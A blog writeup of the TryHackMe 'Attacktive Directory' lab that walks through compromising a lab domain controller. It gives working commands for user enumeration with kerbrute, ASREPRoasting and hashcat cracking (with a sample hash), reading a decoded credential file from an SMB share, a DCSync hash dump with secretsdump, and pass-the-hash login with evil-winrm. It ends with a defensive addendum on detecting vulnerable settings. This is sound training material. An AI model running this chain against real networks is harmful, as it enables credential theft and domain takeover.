Attacktive Directory THM Writeup

Rich
9 min readMay 17, 2022

--

Part of the Pentest+ Pathway

A full list of our TryHackMe walkthroughs and cheatsheets is here.

Background

This particular section of the Pentest+ pathway was developed by THM user Spooks (https://twitter.com/NekoS3c) as part of their cyber security degree. It is a decent introduction to Active Directory overall, or a great introduction for the $7.50 a month a THM membership runs.

I ended up using a bit of enumeration techniques that I learned while home labbing in general and studying for the CRTP exam. Hence I figured I’d put this writeup together in case it helps anyone else.

I used a Kali 2022.1 Release VM running in the free version of VMware Player. I already had impacket loaded from some previous home labs. If you don’t have it already just run

Python3 -m pip install impacket

Change directory into the impacket folder and then run

Python3 -m pip install .

Enumeration

First things first, scan the given IP and get the basic information

sudo nmap -sV -O 10.10.118.181

It is immediately noticeable that the system is likely a Domain Controller (DC) as it is running DNS, Kerberos, and LDAP. We can also see that the domain name is spookysec.local.

We can run enum4linux and find the NETBIOS name of the domain. Normally this would be the same as the domain name, just without the .local part, but in this case we find it has been set differently.

enum4linux 10.10.118.181

This is important to note. If we are going to use compromised domain accounts later on we will need to specify them as username@spookysec.local.

It helps to use the /etc/hosts file to map the DC’s IP address to the domain name. I have found during home lab exercises that doing so greatly aids in avoiding issues with various tools in impacket. This THM section only has a DC, but if your lab has multiple systems then simply map each one by IP and computername.

One of my home lab domains, corp.local, is shown below with the domain name, DC, and a workstation.

Next we will use Kerbrute to enumerate the domain accounts. Kerbrute is not included in Kali by default, but you can download a pre-compiled copy from https://github.com/ropnop/kerbrute/releases. Then simply cd into the folder you saved kerbrute to and run

./kerbrute_linux_amd64 userenum -d spookysec.local --dc 10.10.118.181 ../Wordlists/userlist.txt

Exploitation

THM’s questions pointed us in the direction of the account svc-admin@spookysec.local for gaining initial access, however we could simply run the ASREPRoast technique against multiple accounts. If it works we will get a hash back, if it doesn’t then we won’t see anything and can just move on to the next account.

Impacket includes a tool for ASREPRoasting, so just

cd /home/kali/Downloads/impacket-master/build/scripts-3.9./GetNPUsers.py spookysec.local/svc-admin -no-pass

We can now run the captured hash through hashcat using everyone’s favorite wordlist rockyou.txt. I went over a bit of the background of the ASREPRoast technique and the syntax of the hashcat command to crack it here. There is a handy table of hash types matched to the hashcat mode here.

cd /home/kali/Downloads/Wordlistshashcat -m 18200 ‘$krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:479e4f94a068ef144a788436c7df94e7$7a05e6b2e85dff303406c56f1c85feefe6ea6b5fbbe6a9d9cc59cf190add2502d2b8906eabe9d1f6a49cf90a707f94118477754fc7c04c2644824d35d25b11ee5dcc1bb519b78367d172374fdab521fb236fbd0f4dccb6d3f3a9a7c5ea0b1223a7a29adc38665abb144feff9f0b539b26f2f32d49d0a6820fd05c6b64ffe611df26d0adb0d05b7eab01639cdfc2d7ffaab92e94c7c077eaeeef14e9ce69d4088aabba32f6bb8c10235e0b03c496c409257c64d839e397e9c979346557f0d675cdb9f97224ba0954be9540f91cd7ea7be20ea745a9bf393807201ff9ff2685ac1f801dd77d2c049249f34a3e6509be3eb821b’ -a 3 rockyou.txt

Hashcat takes a bit to crack the hash, both because rockyou.txt is a decent sized wordlist and because the hash type seems to be rather slow on my admittedly rather dinky VM. I am sure a dedicated cracking rig would have it within a minute, but it took me about 15. Your mileage may vary. Once we have a password we can use rdesktop to access the DC as svc-admin. Please note that as mentioned earlier you will want to put the full User Principal Name (UPN) ‘svc-admin@spookysec.local’ in as the username. You will immediately see the first user flag on the desktop.

rdesktop 10.10.118.181

Further Enumeration

The account svc-admin does not have any privileges beyond a regular Domain User, however this account does provide us initial authorized access to the system. Normally a mere Domain User would not be allowed to login to a DC, but this THM exercise only has one VM. Just pretend that you are on a domain workstation for this part.

There is a lot of enumeration that can be performed by a mere Domain User with read only privileges, both locally and domain wise. Active Directory is a database after all, ultimately residing in NTDS.dit on all DCs. It contains the accounts of the DCs, member servers, workstations, users, and other AD objects and all information associated with them. By default all Domain Users can query this database.

I have run into some in the IT field before who are under the impression that mere Domain Users on mere domain workstations cannot do this, saying things like “Oh, they don’t have RSAT installed.” However Domain Users do not need the Remote Server Administration Tools (RSAT) to enumerate AD from PowerShell. All they need is a PowerShell module, which can be copied from any number of sources or simply downloaded from Microsoft. Further the four files required to load the module are digitally signed by Microsoft, so Windows will allow them and not raise alarms.

Domain Users can also enumerate the shares and poke around them. Svc-admin’s account can do this while logged in via rdesktop.

We can also use the handy tool smbclient which is included in Kali. The syntax is

smbclient -L \\\\10.10.118.181 -U ‘svc-admin’

ADMIN$, C$, and IPC$ are accessible by local administrators or Domain Admins. NETLOGON and SYSVOL are read only for Domain Users and contain AD information such as Group Policy and logon scripts. Enumerating these is outside the scope of this THM exercise.

However the share labeled ‘backup’ is not a default share and looks interesting. We can browse it by

smbclient \\\\10.10.118.181\\backup -U ‘svc-admin’

Typing ‘help’ will list the available commands. Notice that one of them is ‘more’. If you are familiar at all with Linux then you have probably heard the old pun “less is more” and know that ‘cat’, ‘less’, and ‘more’ are all commands for reading a text file.

more backup_credentials.txt

The questions in this THM exercise point us towards realizing that the string in this text file is important. Knowing that CTFs love base64, we try

echo <string> | base64 -d

and we get a username:password combination.

Moving laterally

We can login via rdesktop with this new username. As THM stated, the flag for this user is right there on their Desktop. After grabbing the flag we will enumerate all over again and find that this new user account is not a member of any AD groups. Normally we would run BloodHound or PowerView and enumerate privileges that our freshly compromised account might have in AD, but in this case the THM questions give us a big hint. They want us to dump NTDS.dit.

Let’s confirm that the backup account has privileges to do so. We can easily do so using PowerShell without the need to load any additional tools. This is good since Microsoft Defender is enabled on this DC and we do not have privileges to disable it. Thus ‘living off the land’ is an ideal solution.

(Get-Acl ‘dc=spookysec,dc=local’).access | Where {$_.IdentityReference -like “*backup*”}

We see that backup has GenericAll privileges. In Active Directory Users & Computers (ADUC) in the GUI this is called ‘Full Control’. Backup has also been specifically granted several Extended Rights, but these are encompassed in GenericAll anyway.

GenericAll means that backup can do anything they want to the domain, including syncing NTDS.dit. This means they can pull all AD information, including the password hashes which are stored in NTLM format.

Since backup does not have local admin privileges, we will just use their credentials to pull the hashes on Kali. This can be done using the secretsdump script included in impacket.

python3 /home/kali/Downloads/impacket-master/examples/secretsdump.py -just-dc <username>:<password>@10.10.118.181
NTLM hashes redacted as per THM’s writeup guidance

It is important to note that NTLM is not salted. This means that the hash can be re-used in a Windows domain by default. Windows uses NTLMv2 to authenticate remotely, however NTLMv2 uses NTLM to generate the salted hash. Therefore tools can simply use the NTLM hash to authenticate remotely. This is known as Pass-The-Hash (PTH).

Sidenote on LM

For those who might not be familiar with this deprecated hash, LM was Microsoft’s pre NTLM method of hashing passwords. It was designed before computers were networked and security was not much of a concern. The ‘aad3b435b51404eeaad3b435b51404ee’ is the LM hash for no password, in other words it is not in use.

Escalating domain privileges

Many tools that run on Windows and Kali will take a hash instead of a password. Evil-winrm fits our purposes nicely here. It is not included with Kali by default, but can be added via

sudo gem install evil-winrm(alt: sudo apt install evil-winrm)

Use the syntax

evil-winrm -i <target IP> -u <username> -H <hash>

Once logged in simply navigate to the Desktop and read the file

Set-Location ..\Desktop
Get-ChildItem
Get-Content root.txt
NTLM hash & flag redacted as per THM’s writeup guidance

Conclusion

That’s it, we have completed this THM exercise. Most of my home labs had involved ‘The Assumption of Compromise’ and hence started out with a compromised Domain User on a domain workstation. This THM room was interesting because we start on Kali with no privileges at all. I had my own prior notes to lean on from ASREPRoasting, enumerating after gaining initial access, moving laterally, dumping credentials, doing everyone’s favorite dance move ‘The Credential Theft Shuffle’, running DCSync and/or secretsdump, and escalating privileges.

If this writeup helps anyone, particularly with the background behind why we ran these commands, then that’s a bonus.

Addendum

Please note that the setting DONT_REQ_PREAUTH is not a default setting in AD, nor is it something that is likely to be enabled by accident. As long as no AD accounts are changed to this non default setting then the ASREPRoast attack will not work. You can filter for any accounts with this set by running the query

Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties * | Select-Object SAMAccountName

Additionally, by default only builtin\Administrators and DCs themselves can sync NTLM hashes from AD. This only changes if system administrators start delegating privileges using the GUI’s wizard or start manually modifying AD ACLs in PowerShell. Careful planning should precede these changes.

References:

https://github.com/SecureAuthCorp/impacket

https://github.com/ropnop/kerbrute/releases

https://hashcat.net/wiki/doku.php?id=example_hashes

https://www.samba.org/samba/docs/current/man-html/smbclient.1.html

http://www.labofapenetrationtester.com/2018/10/domain-enumeration-from-PowerShell-CLM.html

https://happycamper84.medium.com/who-can-execute-dcsync-in-your-ad-environment-495f704eded0

https://www.kali.org/tools/evil-winrm/

https://happycamper84.medium.com/the-asrep-attack-what-it-is-do-you-need-to-worry-about-it-6330429b442e

--

--

Rich

I work various IT jobs & like Windows domain security as a hobby. Most of what’s here is my notes from auditing or the lab.